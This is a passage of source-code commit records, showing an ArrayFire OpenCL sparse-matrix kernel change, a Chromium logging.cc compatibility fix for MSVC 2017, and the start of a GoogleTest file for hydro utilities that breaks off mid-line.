opencl {\nnamespace kernel {\ntemplate<typename T>\nvoid csrmm_nt(Param out, const Param &values, const Param &rowIdx,\n const Param &colIdx, const Param &rhs, const T alpha,\n const T beta) {\n constexpr int MAX_CSRMM_GROUPS = 4096;\n \/\/ Using greedy indexing is causing performance issues on many platforms\n \/\/ FIXME: Figure out why\n constexpr bool use_greedy = false;\n\n const bool use_alpha = (alpha != scalar<T>(1.0));\n const bool use_beta = (beta != scalar<T>(0.0));\n\n std::vector<TemplateArg> targs = {\n TemplateTypename<T>(),\n TemplateArg(use_alpha),\n TemplateArg(use_beta),\n TemplateArg(use_greedy),\n };\n std::vector<std::string> options = {\n DefineKeyValue(T, dtype_traits<T>::getName()),\n DefineKeyValue(USE_ALPHA, use_alpha),\n DefineKeyValue(USE_BETA, use_beta),\n DefineKeyValue(USE_GREEDY, use_greedy),\n DefineValue(THREADS_PER_GROUP),\n DefineKeyValue(IS_CPLX, (af::iscplx<T>() ? 1 : 0)),\n };\n options.emplace_back(getTypeBuildDefinition<T>());\n\n \/\/ FIXME: Switch to perf (thread vs block) baesd kernel\n auto csrmm_nt_func =\n common::getKernel(\"csrmm_nt\", {csrmm_cl_src}, targs, options);\n\n cl::NDRange local(THREADS_PER_GROUP, 1);\n int M = rowIdx.info.dims[0] - 1;\n int N = rhs.info.dims[0];\n\n int groups_x = divup(N, local[0]);\n int groups_y = divup(M, REPEAT);\n groups_y = std::min(groups_y, MAX_CSRMM_GROUPS);\n cl::NDRange global(local[0] * groups_x, local[1] * groups_y);\n\n std::vector<int> count(groups_x);\n cl::Buffer *counter = bufferAlloc(count.size() * sizeof(int));\n getQueue().enqueueWriteBuffer(\n *counter, CL_TRUE, 0, count.size() * sizeof(int), (void *)count.data());\n\n csrmm_nt_func(cl::EnqueueArgs(getQueue(), global, local), *out.data,\n *values.data, *rowIdx.data, *colIdx.data, M, N, *rhs.data,\n rhs.info, alpha, beta, *counter);\n bufferFree(counter);\n}\n} \/\/ namespace kernel\n} \/\/ namespace opencl\n<commit_msg>Use CL fill buffer instead of host allocation in csrmm kernel<commit_after>\/*******************************************************\n * Copyright (c) 2016, ArrayFire\n * All rights reserved.\n *\n * This file is distributed under 3-clause BSD license.\n * The complete license agreement can be obtained at:\n * http:\/\/arrayfire.com\/licenses\/BSD-3-Clause\n ********************************************************\/\n\n#pragma once\n\n#include <Param.hpp>\n#include <common\/dispatch.hpp>\n#include <common\/kernel_cache.hpp>\n#include <debug_opencl.hpp>\n#include <kernel\/config.hpp>\n#include <kernel\/reduce.hpp>\n#include <kernel\/scan_dim.hpp>\n#include <kernel\/scan_first.hpp>\n#include <kernel_headers\/csrmm.hpp>\n#include <traits.hpp>\n#include <af\/opencl.h>\n\n#include <string>\n#include <vector>\n\nnamespace opencl {\nnamespace kernel {\ntemplate<typename T>\nvoid csrmm_nt(Param out, const Param &values, const Param &rowIdx,\n const Param &colIdx, const Param &rhs, const T alpha,\n const T beta) {\n constexpr int MAX_CSRMM_GROUPS = 4096;\n \/\/ Using greedy indexing is causing performance issues on many platforms\n \/\/ FIXME: Figure out why\n constexpr bool use_greedy = false;\n\n const bool use_alpha = (alpha != scalar<T>(1.0));\n const bool use_beta = (beta != scalar<T>(0.0));\n\n std::vector<TemplateArg> targs = {\n TemplateTypename<T>(),\n TemplateArg(use_alpha),\n TemplateArg(use_beta),\n TemplateArg(use_greedy),\n };\n std::vector<std::string> options = {\n DefineKeyValue(T, dtype_traits<T>::getName()),\n DefineKeyValue(USE_ALPHA, use_alpha),\n DefineKeyValue(USE_BETA, use_beta),\n DefineKeyValue(USE_GREEDY, use_greedy),\n DefineValue(THREADS_PER_GROUP),\n DefineKeyValue(IS_CPLX, (af::iscplx<T>() ? 1 : 0)),\n };\n options.emplace_back(getTypeBuildDefinition<T>());\n\n \/\/ FIXME: Switch to perf (thread vs block) baesd kernel\n auto csrmm_nt_func =\n common::getKernel(\"csrmm_nt\", {csrmm_cl_src}, targs, options);\n\n cl::NDRange local(THREADS_PER_GROUP, 1);\n int M = rowIdx.info.dims[0] - 1;\n int N = rhs.info.dims[0];\n\n int groups_x = divup(N, local[0]);\n int groups_y = divup(M, REPEAT);\n groups_y = std::min(groups_y, MAX_CSRMM_GROUPS);\n cl::NDRange global(local[0] * groups_x, local[1] * groups_y);\n\n cl::Buffer *counter = bufferAlloc(groups_x * sizeof(int));\n getQueue().enqueueFillBuffer(*counter, 0, 0, groups_x * sizeof(int));\n\n csrmm_nt_func(cl::EnqueueArgs(getQueue(), global, local), *out.data,\n *values.data, *rowIdx.data, *colIdx.data, M, N, *rhs.data,\n rhs.info, alpha, beta, *counter);\n bufferFree(counter);\n}\n} \/\/ namespace kernel\n} \/\/ namespace opencl\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/logging.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <iomanip>\n\n#if defined(OS_POSIX)\n#include <paths.h>\n#include <sys\/stat.h>\n#include <sys\/time.h>\n#include <unistd.h>\n#include \"base\/posix\/safe_strerror.h\"\n#endif \/\/ OS_POSIX\n\n#if defined(OS_MACOSX)\n#include <AvailabilityMacros.h>\n#include <CoreFoundation\/CoreFoundation.h>\n#include <pthread.h>\n#if !defined(MAC_OS_X_VERSION_10_12) || \\\n MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_12\n#include <asl.h>\n#else\n#include <os\/log.h>\n#endif\n#elif defined(OS_LINUX)\n#include <sys\/syscall.h>\n#include <sys\/types.h>\n#elif defined(OS_WIN)\n#include <windows.h>\n#endif\n\n#include \"base\/strings\/string_util.h\"\n#include \"base\/strings\/stringprintf.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n\nnamespace logging {\n\nnamespace {\n\nconst char* const log_severity_names[] = {\n \"INFO\",\n \"WARNING\",\n \"ERROR\",\n \"ERROR_REPORT\",\n \"FATAL\"\n};\n\nLogMessageHandlerFunction g_log_message_handler = nullptr;\n\n} \/\/ namespace\n\nvoid SetLogMessageHandler(LogMessageHandlerFunction log_message_handler) {\n g_log_message_handler = log_message_handler;\n}\n\nLogMessageHandlerFunction GetLogMessageHandler() {\n return g_log_message_handler;\n}\n\n#if defined(OS_WIN)\nstd::string SystemErrorCodeToString(unsigned long error_code) {\n wchar_t msgbuf[256];\n DWORD flags = FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS |\n FORMAT_MESSAGE_MAX_WIDTH_MASK;\n DWORD len = FormatMessage(\n flags, nullptr, error_code, 0, msgbuf, arraysize(msgbuf), nullptr);\n if (len) {\n \/\/ Most system messages end in a period and a space. Remove the space if\n \/\/ it’s there, because the following StringPrintf() includes one.\n if (len >= 1 && msgbuf[len - 1] == ' ') {\n msgbuf[len - 1] = '\\0';\n }\n return base::StringPrintf(\"%s (%u)\",\n base::UTF16ToUTF8(msgbuf).c_str(), error_code);\n }\n return base::StringPrintf(\"Error %u while retrieving error %u\",\n GetLastError(),\n error_code);\n}\n#endif \/\/ OS_WIN\n\nLogMessage::LogMessage(const char* function,\n const char* file_path,\n int line,\n LogSeverity severity)\n : stream_(),\n file_path_(file_path),\n message_start_(0),\n line_(line),\n severity_(severity) {\n Init(function);\n}\n\nLogMessage::LogMessage(const char* function,\n const char* file_path,\n int line,\n std::string* result)\n : stream_(),\n file_path_(file_path),\n message_start_(0),\n line_(line),\n severity_(LOG_FATAL) {\n Init(function);\n stream_ << \"Check failed: \" << *result << \". \";\n delete result;\n}\n\nLogMessage::~LogMessage() {\n stream_ << std::endl;\n std::string str_newline(stream_.str());\n\n if (g_log_message_handler &&\n g_log_message_handler(\n severity_, file_path_, line_, message_start_, str_newline)) {\n return;\n }\n\n fprintf(stderr, \"%s\", str_newline.c_str());\n fflush(stderr);\n\n#if defined(OS_MACOSX)\n const bool log_to_system = []() {\n struct stat stderr_stat;\n if (fstat(fileno(stderr), &stderr_stat) == -1) {\n return true;\n }\n if (!S_ISCHR(stderr_stat.st_mode)) {\n return false;\n }\n\n struct stat dev_null_stat;\n if (stat(_PATH_DEVNULL, &dev_null_stat) == -1) {\n return true;\n }\n\n return !S_ISCHR(dev_null_stat.st_mode) ||\n stderr_stat.st_rdev == dev_null_stat.st_rdev;\n }();\n\n if (log_to_system) {\n CFBundleRef main_bundle = CFBundleGetMainBundle();\n CFStringRef main_bundle_id_cf =\n main_bundle ? CFBundleGetIdentifier(main_bundle) : nullptr;\n\n std::string main_bundle_id_buf;\n const char* main_bundle_id = nullptr;\n\n if (main_bundle_id_cf) {\n main_bundle_id =\n CFStringGetCStringPtr(main_bundle_id_cf, kCFStringEncodingUTF8);\n if (!main_bundle_id) {\n \/\/ 1024 is from 10.10.5 CF-1153.18\/CFBundle.c __CFBundleMainID__ (at\n \/\/ the point of use, not declaration).\n main_bundle_id_buf.resize(1024);\n if (!CFStringGetCString(main_bundle_id_cf,\n &main_bundle_id_buf[0],\n main_bundle_id_buf.size(),\n kCFStringEncodingUTF8)) {\n main_bundle_id_buf.clear();\n } else {\n main_bundle_id = &main_bundle_id_buf[0];\n }\n }\n }\n\n#if !defined(MAC_OS_X_VERSION_10_12) || \\\n MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_12\n \/\/ Use ASL when this might run on pre-10.12 systems. Unified Logging\n \/\/ (os_log) was introduced in 10.12.\n\n const class ASLClient {\n public:\n explicit ASLClient(const char* asl_facility)\n : client_(asl_open(nullptr, asl_facility, ASL_OPT_NO_DELAY)) {}\n ~ASLClient() { asl_close(client_); }\n\n aslclient get() const { return client_; }\n\n private:\n aslclient client_;\n DISALLOW_COPY_AND_ASSIGN(ASLClient);\n } asl_client(main_bundle_id ? main_bundle_id : \"com.apple.console\");\n\n const class ASLMessage {\n public:\n ASLMessage() : message_(asl_new(ASL_TYPE_MSG)) {}\n ~ASLMessage() { asl_free(message_); }\n\n aslmsg get() const { return message_; }\n\n private:\n aslmsg message_;\n DISALLOW_COPY_AND_ASSIGN(ASLMessage);\n } asl_message;\n\n \/\/ By default, messages are only readable by the admin group. Explicitly\n \/\/ make them readable by the user generating the messages.\n char euid_string[12];\n snprintf(euid_string, arraysize(euid_string), \"%d\", geteuid());\n asl_set(asl_message.get(), ASL_KEY_READ_UID, euid_string);\n\n \/\/ Map Chrome log severities to ASL log levels.\n const char* const asl_level_string = [](LogSeverity severity) {\n#define ASL_LEVEL_STR(level) ASL_LEVEL_STR_X(level)\n#define ASL_LEVEL_STR_X(level) #level\n switch (severity) {\n case LOG_INFO:\n return ASL_LEVEL_STR(ASL_LEVEL_INFO);\n case LOG_WARNING:\n return ASL_LEVEL_STR(ASL_LEVEL_WARNING);\n case LOG_ERROR:\n return ASL_LEVEL_STR(ASL_LEVEL_ERR);\n case LOG_FATAL:\n return ASL_LEVEL_STR(ASL_LEVEL_CRIT);\n default:\n return severity < 0 ? ASL_LEVEL_STR(ASL_LEVEL_DEBUG)\n : ASL_LEVEL_STR(ASL_LEVEL_NOTICE);\n }\n#undef ASL_LEVEL_STR\n#undef ASL_LEVEL_STR_X\n }(severity_);\n asl_set(asl_message.get(), ASL_KEY_LEVEL, asl_level_string);\n\n asl_set(asl_message.get(), ASL_KEY_MSG, str_newline.c_str());\n\n asl_send(asl_client.get(), asl_message.get());\n#else\n \/\/ Use Unified Logging (os_log) when this will only run on 10.12 and later.\n \/\/ ASL is deprecated in 10.12.\n\n const class OSLog {\n public:\n explicit OSLog(const char* subsystem)\n : os_log_(subsystem ? os_log_create(subsystem, \"chromium_logging\")\n : OS_LOG_DEFAULT) {}\n ~OSLog() {\n if (os_log_ != OS_LOG_DEFAULT) {\n os_release(os_log_);\n }\n }\n\n os_log_t get() const { return os_log_; }\n\n private:\n os_log_t os_log_;\n DISALLOW_COPY_AND_ASSIGN(OSLog);\n } log(main_bundle_id);\n\n const os_log_type_t os_log_type = [](LogSeverity severity) {\n switch (severity) {\n case LOG_INFO:\n return OS_LOG_TYPE_INFO;\n case LOG_WARNING:\n return OS_LOG_TYPE_DEFAULT;\n case LOG_ERROR:\n return OS_LOG_TYPE_ERROR;\n case LOG_FATAL:\n return OS_LOG_TYPE_FAULT;\n default:\n return severity < 0 ? OS_LOG_TYPE_DEBUG : OS_LOG_TYPE_DEFAULT;\n }\n }(severity_);\n\n os_log_with_type(log.get(), os_log_type, \"%{public}s\", str_newline.c_str());\n#endif\n }\n#elif defined(OS_WIN)\n OutputDebugString(base::UTF8ToUTF16(str_newline).c_str());\n#endif \/\/ OS_MACOSX\n\n if (severity_ == LOG_FATAL) {\n#if defined(COMPILER_MSVC)\n __debugbreak();\n __ud2();\n#elif defined(ARCH_CPU_X86_FAMILY)\n asm(\"int3; ud2;\");\n#elif defined(ARCH_CPU_ARMEL)\n asm(\"bkpt #0; udf #0;\");\n#elif defined(ARCH_CPU_ARM64)\n asm(\"brk #0; hlt #0;\");\n#else\n __builtin_trap();\n#endif\n }\n}\n\nvoid LogMessage::Init(const char* function) {\n std::string file_name(file_path_);\n#if defined(OS_WIN)\n size_t last_slash = file_name.find_last_of(\"\\\\\/\");\n#else\n size_t last_slash = file_name.find_last_of('\/');\n#endif\n if (last_slash != std::string::npos) {\n file_name.assign(file_name.substr(last_slash + 1));\n }\n\n#if defined(OS_POSIX)\n pid_t pid = getpid();\n#elif defined(OS_WIN)\n DWORD pid = GetCurrentProcessId();\n#endif\n\n#if defined(OS_MACOSX)\n uint64_t thread;\n pthread_threadid_np(pthread_self(), &thread);\n#elif defined(OS_ANDROID)\n pid_t thread = gettid();\n#elif defined(OS_LINUX)\n pid_t thread = syscall(__NR_gettid);\n#elif defined(OS_WIN)\n DWORD thread = GetCurrentThreadId();\n#endif\n\n stream_ << '['\n << pid\n << ':'\n << thread\n << ':'\n << std::setfill('0');\n\n#if defined(OS_POSIX)\n timeval tv;\n gettimeofday(&tv, nullptr);\n tm local_time;\n localtime_r(&tv.tv_sec, &local_time);\n stream_ << std::setw(4) << local_time.tm_year + 1900\n << std::setw(2) << local_time.tm_mon + 1\n << std::setw(2) << local_time.tm_mday\n << ','\n << std::setw(2) << local_time.tm_hour\n << std::setw(2) << local_time.tm_min\n << std::setw(2) << local_time.tm_sec\n << '.'\n << std::setw(6) << tv.tv_usec;\n#elif defined(OS_WIN)\n SYSTEMTIME local_time;\n GetLocalTime(&local_time);\n stream_ << std::setw(4) << local_time.wYear\n << std::setw(2) << local_time.wMonth\n << std::setw(2) << local_time.wDay\n << ','\n << std::setw(2) << local_time.wHour\n << std::setw(2) << local_time.wMinute\n << std::setw(2) << local_time.wSecond\n << '.'\n << std::setw(3) << local_time.wMilliseconds;\n#endif\n\n stream_ << ':';\n\n if (severity_ >= 0) {\n stream_ << log_severity_names[severity_];\n } else {\n stream_ << \"VERBOSE\" << -severity_;\n }\n\n stream_ << ' '\n << file_name\n << ':'\n << line_\n << \"] \";\n\n message_start_ = stream_.str().size();\n}\n\n#if defined(OS_WIN)\n\nunsigned long GetLastSystemErrorCode() {\n return GetLastError();\n}\n\nWin32ErrorLogMessage::Win32ErrorLogMessage(const char* function,\n const char* file_path,\n int line,\n LogSeverity severity,\n unsigned long err)\n : LogMessage(function, file_path, line, severity), err_(err) {\n}\n\nWin32ErrorLogMessage::~Win32ErrorLogMessage() {\n stream() << \": \" << SystemErrorCodeToString(err_);\n}\n\n#elif defined(OS_POSIX)\n\nErrnoLogMessage::ErrnoLogMessage(const char* function,\n const char* file_path,\n int line,\n LogSeverity severity,\n int err)\n : LogMessage(function, file_path, line, severity),\n err_(err) {\n}\n\nErrnoLogMessage::~ErrnoLogMessage() {\n stream() << \": \"\n << base::safe_strerror(err_)\n << \" (\"\n << err_\n << \")\";\n}\n\n#endif \/\/ OS_POSIX\n\n} \/\/ namespace logging\n<commit_msg>win: MSVS 2017 (15)\/C++ 14.1\/C 19.10 compatibility<commit_after>\/\/ Copyright 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/logging.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <iomanip>\n\n#if defined(OS_POSIX)\n#include <paths.h>\n#include <sys\/stat.h>\n#include <sys\/time.h>\n#include <unistd.h>\n#include \"base\/posix\/safe_strerror.h\"\n#endif \/\/ OS_POSIX\n\n#if defined(OS_MACOSX)\n#include <AvailabilityMacros.h>\n#include <CoreFoundation\/CoreFoundation.h>\n#include <pthread.h>\n#if !defined(MAC_OS_X_VERSION_10_12) || \\\n MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_12\n#include <asl.h>\n#else\n#include <os\/log.h>\n#endif\n#elif defined(OS_LINUX)\n#include <sys\/syscall.h>\n#include <sys\/types.h>\n#elif defined(OS_WIN)\n#include <intrin.h>\n#include <windows.h>\n#endif\n\n#include \"base\/strings\/string_util.h\"\n#include \"base\/strings\/stringprintf.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n\nnamespace logging {\n\nnamespace {\n\nconst char* const log_severity_names[] = {\n \"INFO\",\n \"WARNING\",\n \"ERROR\",\n \"ERROR_REPORT\",\n \"FATAL\"\n};\n\nLogMessageHandlerFunction g_log_message_handler = nullptr;\n\n} \/\/ namespace\n\nvoid SetLogMessageHandler(LogMessageHandlerFunction log_message_handler) {\n g_log_message_handler = log_message_handler;\n}\n\nLogMessageHandlerFunction GetLogMessageHandler() {\n return g_log_message_handler;\n}\n\n#if defined(OS_WIN)\nstd::string SystemErrorCodeToString(unsigned long error_code) {\n wchar_t msgbuf[256];\n DWORD flags = FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS |\n FORMAT_MESSAGE_MAX_WIDTH_MASK;\n DWORD len = FormatMessage(\n flags, nullptr, error_code, 0, msgbuf, arraysize(msgbuf), nullptr);\n if (len) {\n \/\/ Most system messages end in a period and a space. Remove the space if\n \/\/ it’s there, because the following StringPrintf() includes one.\n if (len >= 1 && msgbuf[len - 1] == ' ') {\n msgbuf[len - 1] = '\\0';\n }\n return base::StringPrintf(\"%s (%u)\",\n base::UTF16ToUTF8(msgbuf).c_str(), error_code);\n }\n return base::StringPrintf(\"Error %u while retrieving error %u\",\n GetLastError(),\n error_code);\n}\n#endif \/\/ OS_WIN\n\nLogMessage::LogMessage(const char* function,\n const char* file_path,\n int line,\n LogSeverity severity)\n : stream_(),\n file_path_(file_path),\n message_start_(0),\n line_(line),\n severity_(severity) {\n Init(function);\n}\n\nLogMessage::LogMessage(const char* function,\n const char* file_path,\n int line,\n std::string* result)\n : stream_(),\n file_path_(file_path),\n message_start_(0),\n line_(line),\n severity_(LOG_FATAL) {\n Init(function);\n stream_ << \"Check failed: \" << *result << \". \";\n delete result;\n}\n\nLogMessage::~LogMessage() {\n stream_ << std::endl;\n std::string str_newline(stream_.str());\n\n if (g_log_message_handler &&\n g_log_message_handler(\n severity_, file_path_, line_, message_start_, str_newline)) {\n return;\n }\n\n fprintf(stderr, \"%s\", str_newline.c_str());\n fflush(stderr);\n\n#if defined(OS_MACOSX)\n const bool log_to_system = []() {\n struct stat stderr_stat;\n if (fstat(fileno(stderr), &stderr_stat) == -1) {\n return true;\n }\n if (!S_ISCHR(stderr_stat.st_mode)) {\n return false;\n }\n\n struct stat dev_null_stat;\n if (stat(_PATH_DEVNULL, &dev_null_stat) == -1) {\n return true;\n }\n\n return !S_ISCHR(dev_null_stat.st_mode) ||\n stderr_stat.st_rdev == dev_null_stat.st_rdev;\n }();\n\n if (log_to_system) {\n CFBundleRef main_bundle = CFBundleGetMainBundle();\n CFStringRef main_bundle_id_cf =\n main_bundle ? CFBundleGetIdentifier(main_bundle) : nullptr;\n\n std::string main_bundle_id_buf;\n const char* main_bundle_id = nullptr;\n\n if (main_bundle_id_cf) {\n main_bundle_id =\n CFStringGetCStringPtr(main_bundle_id_cf, kCFStringEncodingUTF8);\n if (!main_bundle_id) {\n \/\/ 1024 is from 10.10.5 CF-1153.18\/CFBundle.c __CFBundleMainID__ (at\n \/\/ the point of use, not declaration).\n main_bundle_id_buf.resize(1024);\n if (!CFStringGetCString(main_bundle_id_cf,\n &main_bundle_id_buf[0],\n main_bundle_id_buf.size(),\n kCFStringEncodingUTF8)) {\n main_bundle_id_buf.clear();\n } else {\n main_bundle_id = &main_bundle_id_buf[0];\n }\n }\n }\n\n#if !defined(MAC_OS_X_VERSION_10_12) || \\\n MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_12\n \/\/ Use ASL when this might run on pre-10.12 systems. Unified Logging\n \/\/ (os_log) was introduced in 10.12.\n\n const class ASLClient {\n public:\n explicit ASLClient(const char* asl_facility)\n : client_(asl_open(nullptr, asl_facility, ASL_OPT_NO_DELAY)) {}\n ~ASLClient() { asl_close(client_); }\n\n aslclient get() const { return client_; }\n\n private:\n aslclient client_;\n DISALLOW_COPY_AND_ASSIGN(ASLClient);\n } asl_client(main_bundle_id ? main_bundle_id : \"com.apple.console\");\n\n const class ASLMessage {\n public:\n ASLMessage() : message_(asl_new(ASL_TYPE_MSG)) {}\n ~ASLMessage() { asl_free(message_); }\n\n aslmsg get() const { return message_; }\n\n private:\n aslmsg message_;\n DISALLOW_COPY_AND_ASSIGN(ASLMessage);\n } asl_message;\n\n \/\/ By default, messages are only readable by the admin group. Explicitly\n \/\/ make them readable by the user generating the messages.\n char euid_string[12];\n snprintf(euid_string, arraysize(euid_string), \"%d\", geteuid());\n asl_set(asl_message.get(), ASL_KEY_READ_UID, euid_string);\n\n \/\/ Map Chrome log severities to ASL log levels.\n const char* const asl_level_string = [](LogSeverity severity) {\n#define ASL_LEVEL_STR(level) ASL_LEVEL_STR_X(level)\n#define ASL_LEVEL_STR_X(level) #level\n switch (severity) {\n case LOG_INFO:\n return ASL_LEVEL_STR(ASL_LEVEL_INFO);\n case LOG_WARNING:\n return ASL_LEVEL_STR(ASL_LEVEL_WARNING);\n case LOG_ERROR:\n return ASL_LEVEL_STR(ASL_LEVEL_ERR);\n case LOG_FATAL:\n return ASL_LEVEL_STR(ASL_LEVEL_CRIT);\n default:\n return severity < 0 ? ASL_LEVEL_STR(ASL_LEVEL_DEBUG)\n : ASL_LEVEL_STR(ASL_LEVEL_NOTICE);\n }\n#undef ASL_LEVEL_STR\n#undef ASL_LEVEL_STR_X\n }(severity_);\n asl_set(asl_message.get(), ASL_KEY_LEVEL, asl_level_string);\n\n asl_set(asl_message.get(), ASL_KEY_MSG, str_newline.c_str());\n\n asl_send(asl_client.get(), asl_message.get());\n#else\n \/\/ Use Unified Logging (os_log) when this will only run on 10.12 and later.\n \/\/ ASL is deprecated in 10.12.\n\n const class OSLog {\n public:\n explicit OSLog(const char* subsystem)\n : os_log_(subsystem ? os_log_create(subsystem, \"chromium_logging\")\n : OS_LOG_DEFAULT) {}\n ~OSLog() {\n if (os_log_ != OS_LOG_DEFAULT) {\n os_release(os_log_);\n }\n }\n\n os_log_t get() const { return os_log_; }\n\n private:\n os_log_t os_log_;\n DISALLOW_COPY_AND_ASSIGN(OSLog);\n } log(main_bundle_id);\n\n const os_log_type_t os_log_type = [](LogSeverity severity) {\n switch (severity) {\n case LOG_INFO:\n return OS_LOG_TYPE_INFO;\n case LOG_WARNING:\n return OS_LOG_TYPE_DEFAULT;\n case LOG_ERROR:\n return OS_LOG_TYPE_ERROR;\n case LOG_FATAL:\n return OS_LOG_TYPE_FAULT;\n default:\n return severity < 0 ? OS_LOG_TYPE_DEBUG : OS_LOG_TYPE_DEFAULT;\n }\n }(severity_);\n\n os_log_with_type(log.get(), os_log_type, \"%{public}s\", str_newline.c_str());\n#endif\n }\n#elif defined(OS_WIN)\n OutputDebugString(base::UTF8ToUTF16(str_newline).c_str());\n#endif \/\/ OS_MACOSX\n\n if (severity_ == LOG_FATAL) {\n#if defined(COMPILER_MSVC)\n __debugbreak();\n __ud2();\n#elif defined(ARCH_CPU_X86_FAMILY)\n asm(\"int3; ud2;\");\n#elif defined(ARCH_CPU_ARMEL)\n asm(\"bkpt #0; udf #0;\");\n#elif defined(ARCH_CPU_ARM64)\n asm(\"brk #0; hlt #0;\");\n#else\n __builtin_trap();\n#endif\n }\n}\n\nvoid LogMessage::Init(const char* function) {\n std::string file_name(file_path_);\n#if defined(OS_WIN)\n size_t last_slash = file_name.find_last_of(\"\\\\\/\");\n#else\n size_t last_slash = file_name.find_last_of('\/');\n#endif\n if (last_slash != std::string::npos) {\n file_name.assign(file_name.substr(last_slash + 1));\n }\n\n#if defined(OS_POSIX)\n pid_t pid = getpid();\n#elif defined(OS_WIN)\n DWORD pid = GetCurrentProcessId();\n#endif\n\n#if defined(OS_MACOSX)\n uint64_t thread;\n pthread_threadid_np(pthread_self(), &thread);\n#elif defined(OS_ANDROID)\n pid_t thread = gettid();\n#elif defined(OS_LINUX)\n pid_t thread = syscall(__NR_gettid);\n#elif defined(OS_WIN)\n DWORD thread = GetCurrentThreadId();\n#endif\n\n stream_ << '['\n << pid\n << ':'\n << thread\n << ':'\n << std::setfill('0');\n\n#if defined(OS_POSIX)\n timeval tv;\n gettimeofday(&tv, nullptr);\n tm local_time;\n localtime_r(&tv.tv_sec, &local_time);\n stream_ << std::setw(4) << local_time.tm_year + 1900\n << std::setw(2) << local_time.tm_mon + 1\n << std::setw(2) << local_time.tm_mday\n << ','\n << std::setw(2) << local_time.tm_hour\n << std::setw(2) << local_time.tm_min\n << std::setw(2) << local_time.tm_sec\n << '.'\n << std::setw(6) << tv.tv_usec;\n#elif defined(OS_WIN)\n SYSTEMTIME local_time;\n GetLocalTime(&local_time);\n stream_ << std::setw(4) << local_time.wYear\n << std::setw(2) << local_time.wMonth\n << std::setw(2) << local_time.wDay\n << ','\n << std::setw(2) << local_time.wHour\n << std::setw(2) << local_time.wMinute\n << std::setw(2) << local_time.wSecond\n << '.'\n << std::setw(3) << local_time.wMilliseconds;\n#endif\n\n stream_ << ':';\n\n if (severity_ >= 0) {\n stream_ << log_severity_names[severity_];\n } else {\n stream_ << \"VERBOSE\" << -severity_;\n }\n\n stream_ << ' '\n << file_name\n << ':'\n << line_\n << \"] \";\n\n message_start_ = stream_.str().size();\n}\n\n#if defined(OS_WIN)\n\nunsigned long GetLastSystemErrorCode() {\n return GetLastError();\n}\n\nWin32ErrorLogMessage::Win32ErrorLogMessage(const char* function,\n const char* file_path,\n int line,\n LogSeverity severity,\n unsigned long err)\n : LogMessage(function, file_path, line, severity), err_(err) {\n}\n\nWin32ErrorLogMessage::~Win32ErrorLogMessage() {\n stream() << \": \" << SystemErrorCodeToString(err_);\n}\n\n#elif defined(OS_POSIX)\n\nErrnoLogMessage::ErrnoLogMessage(const char* function,\n const char* file_path,\n int line,\n LogSeverity severity,\n int err)\n : LogMessage(function, file_path, line, severity),\n err_(err) {\n}\n\nErrnoLogMessage::~ErrnoLogMessage() {\n stream() << \": \"\n << base::safe_strerror(err_)\n << \" (\"\n << err_\n << \")\";\n}\n\n#endif \/\/ OS_POSIX\n\n} \/\/ namespace logging\n<|endoftext|>"} {"text":"<commit_before>\/*!\n * \\file hyo_utilities_tests.cpp\n * \\author Robert 'Bob' Caddy (rvc@pitt.edu), Helena Richie (helenarichie@pitt.edu)\n * \\brief Tests for the contents of hydro_utilities.h and hydro_utilities.cpp\n *\n *\/\n\n\/\/ STL Includes\n#include <vector>\n#include <string>\n#include <iostream>\n\n\/\/ External Includes\n#include <gtest\/gtest.h> \/\/ Include GoogleTest and related libraries\/headers\n\n\/\/ Local Includes\n#include \"..\/utils\/testing_utilities.h\"\n#include \"..\/utils\/hydro_utilities.h\"\n#include \"..\/global\/global.h\"\n\n\/\/ =============================================================================\n\/\/ Local helper functions\n\n\/*!\n* INDEX OF VARIABLES\n* p : pressure\n* vx, vy, vz : x, y, and z velocity\n* d : density\n* E : energy\n* T : temperature\n* px, py, pz : x, y, and z momentum\n* n : number density\n*\/\n\nnamespace\n{\n struct TestParams\n {\n double gamma = 5.\/3.;\n std::vector<double> d {8.4087201154e-100, 1.6756968986e2, 5.4882403847e100};\n std::vector<double> vx {7.0378624601e-100, 7.0829278656e2, 1.8800514112e100};\n std::vector<double> vy {7.3583469014e-100, 5.9283073464e2, 5.2725717864e100};\n std::vector<double> vz {1.7182972216e-100, 8.8417748226e2, 1.5855352639e100};\n std::vector<double> px {8.2340416681e-100, 8.1019429453e2, 5.5062596954e100};\n std::vector<double> py {4.9924582299e-100, 7.1254780684e2, 6.5939640992e100};\n std::vector<double> pz {3.6703192739e-100, 7.5676716066e2, 7.2115881803e100};\n std::vector<double> E {3.0342082433e-100, 7.6976906577e2, 1.9487120853e100};\n std::vector<double> p {2.2244082909e-100, 8.6772951021e2, 6.7261085663e100};\n std::vector<std::string> names{\"Small number case\", \"Medium number case\", \"Large number case\"};\n };\n}\n\nTEST(tHYDROSYSTEMHydroUtilsCalcPressureConserved, CorrectInputExpectCorrectOutput) {\n TestParams parameters;\n std::vector<double> fiducial_ps {3.3366124363499995e-100, 9.9999999999999995e-21, 2.4282508238146436e+100};\n\n for (size_t i = 0; i < parameters.names.size(); i++)\n {\n Real test_ps = hydro_utilities::Calc_Pressure_Conserved(parameters.E.at(i), parameters.d.at(i), parameters.px.at(i), parameters.py.at(i), parameters.pz.at(i), parameters.gamma);\n\n testingUtilities::checkResults(fiducial_ps.at(i), test_ps, parameters.names.at(i));\n }\n}\n\nTEST(tHYDROSYSTEMHydroUtilsCalcPressurePrimitive, CorrectInputExpectCorrectOutput) {\n TestParams parameters;\n std::vector<double> fiducial_pressures{3.3366124363499995e-100, 9.9999999999999995e-21, 